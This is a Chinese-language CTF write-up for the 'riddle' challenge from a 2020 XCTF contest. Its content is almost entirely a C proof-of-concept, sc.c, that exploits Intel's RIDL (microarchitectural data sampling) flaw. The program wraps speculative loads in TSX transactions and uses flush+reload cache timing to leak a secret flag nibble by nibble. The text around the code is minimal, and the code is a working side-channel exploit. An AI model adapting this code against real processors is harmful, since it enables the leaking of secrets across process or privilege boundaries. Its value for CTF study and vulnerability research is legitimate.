riddle

发表于 2021-05-21 分类于 Challenge， 2020， XCTF高校网络安全专题挑战赛， 鲲鹏计算专场， RealWorld
Challenge | 2020 | XCTF高校网络安全专题挑战赛 | 鲲鹏计算专场 | RealWorld | riddle

点击此处获得更好的阅读体验

WriteUp来源

官方WP

题目描述

题目考点

解题思路

riddle 实际上是 intel 的 RIDL 漏洞. 本题是对其漏洞的一个利用. 一个测试的 solution. 对于实际环境应该需要做相应更改.

sc.c

```
#include <immintrin.h>
#include <emmintrin.h>

typedef unsigned long long int uint64_t;

int recover(void *probe, int threshold);
void myputc(char c);
void mfence();
void flush(void *p);
void maccess(void *p);
inline unsigned long flush_reload(const char *adrs);
size_t detect_flush_reload_threshold(void *probe);
void writeint(unsigned int);


#define BUCKET_SIZE 4096
#define BUCKETS 16
#define BUFFER_SIZE (BUCKET_SIZE * BUCKETS)
#define FLAG_SIZE 24

void _start(void *probe)
{
register unsigned char bits = 24;
register uint64_t mask  = (1 << (bits + 4)) - 1;
register uint64_t known = 'FTC';
register uint64_t addr = 0x10;
int recovered = bits / 8;

for (int i = 0; i < BUFFER_SIZE; i++) {
((char *)probe)[i] = 0;
}

int threshold = detect_flush_reload_threshold(probe);
/* Hard-coded value works better. */
threshold = 100;
writeint(threshold);

/* Read nibble by nibble. */
while (recovered < FLAG_SIZE * 8) {
uint64_t value;

if (_xbegin() == _XBEGIN_STARTED)
{
value = *(uint64_t *)addr;
value &= mask;
value -= known;
value = (value >> bits) | (value << (64 - bits));
maccess(probe + BUCKET_SIZE * value);
```

```
49 _xend();
50 }
51 else
52 {
53 int nibble = recover(probe, threshold);
54 if (nibble < 0)
55 continue;
56 known |= (nibble << bits);
57 if (bits == 24) {
58 mask = (mask << 4) | 0xf;
59 bits += 4;
60 } else {
61 myputc(known >> 24);
62 known >>= 8;
63 mask >>= 4;
64 addr++;
65 recovered++;
66 bits = 24;
67 }
68 }
69 }
70 }
71
72 int recover(void *probe, int threshold)
73 {
74 int winner = -1;
75 for (int i = 0; i < BUCKETS; i++) {
76 unsigned long t = flush_reload((char *)probe + BUCKET_SIZE * i);
77 if (t < threshold) {
78 /* If there are two winners, try again. */
79 if (winner >= 0)
80 return -1;
81 winner = i;
82 }
83 }
84 return winner;
85 }
86
87 void myputc(char c)
88 {
89 int ret = 0;
90 volatile char buf[] = { c };
91 asm volatile(
92 "movq %1, %%rsi \n\t"
93 "movq %2, %%rdx \n\t"
94 "movq $1, %%rax \n\t"
95 "movq $1, %%rdi \n\t"
96 "syscall\n\t"
97 : "=g"(ret)
98 : "g"(buf), "g" (1)
99 : "rsi", "rdx", "rax", "rdi"
100 );
101 }
102
103 void writeint(unsigned int x)
104 {
105 myputc(x&0xff);
106 myputc((x>>8)&0xff);
107 myputc((x>>16)&0xff);
108 myputc((x>>24)&0xff);
109 }
110
111 void flush(void *p) { asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); }
112
113 // ------------------------------------------------------------------------
114 void maccess(void *p) { asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); }
115
116 // ------------------------------------------------------------------------
117 void mfence() { asm volatile("mfence"); }
118
119 uint64_t rdtsc() {
120  unsigned long long a, d;
121  asm volatile("mfence");
122  asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx");
123  a = (d << 32) | a;
124  asm volatile("mfence");
```

```
125  return a;
126 }
127
128 __attribute__((always_inline))
129 inline unsigned long flush_reload(const char *adrs)
130 {
131  volatile unsigned long time;
132
133  asm __volatile__ (
134    "mfence             \n"
135    "lfence             \n"
136    "rdtsc              \n"
137    "lfence             \n"
138    "movl %%eax, %%esi \n"
139    "movl (%1), %%eax   \n"
140    "lfence             \n"
141    "rdtsc              \n"
142    "subl %%esi, %%eax \n"
143    "clflush 0(%1)      \n"
144   : "=a" (time)
145   : "c" (adrs)
146   :  "%esi", "%edx");
147
148  return time;
149 }
150
151 // ---------------------------------------------------------------------------
152 int flush_reload_t(void *ptr) {
153  uint64_t start = 0, end = 0;
154
155  start = rdtsc();
156  maccess(ptr);
157  end = rdtsc();
158
159  mfence();
160
161  flush(ptr);
162
163  return (int)(end - start);
164 }
165
166 // ---------------------------------------------------------------------------
167 int reload_t(void *ptr) {
168  uint64_t start = 0, end = 0;
169
170  start = rdtsc();
171  maccess(ptr);
172  end = rdtsc();
173
174  mfence();
175
176  return (int)(end - start);
177 }
178
179
180 // ---------------------------------------------------------------------------
181 size_t detect_flush_reload_threshold(void *probe) {
182  size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000;
183  size_t *ptr = probe + BUCKET_SIZE * BUCKETS;
184
185  maccess(ptr);
186  for (i = 0; i < count; i++) {
187    reload_time += reload_t(ptr);
188 }
189  for (i = 0; i < count; i++) {
190    flush_reload_time += flush_reload_t(ptr);
191 }
192  reload_time /= count;
193  flush_reload_time /= count;
194
195  writeint(reload_time);
196  writeint(flush_reload_time);
197
198  return (flush_reload_time + reload_time * 5) / 6;
199 }
```

- *本文作者：* CTFHub
- *本文链接：* https://writeup.ctfhub.com/Challenge/2020/XCTF高校网络安全专题挑战赛/鲲鹏计算专场/RealWorld/6gEeHuEeceBQxhZ9B1rgpY.html
- *版权声明：* 本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！

#Challenge #2020 #XCTF高校网络安全专题挑战赛 #RealWorld #鲲鹏计算专场

spec

默认口令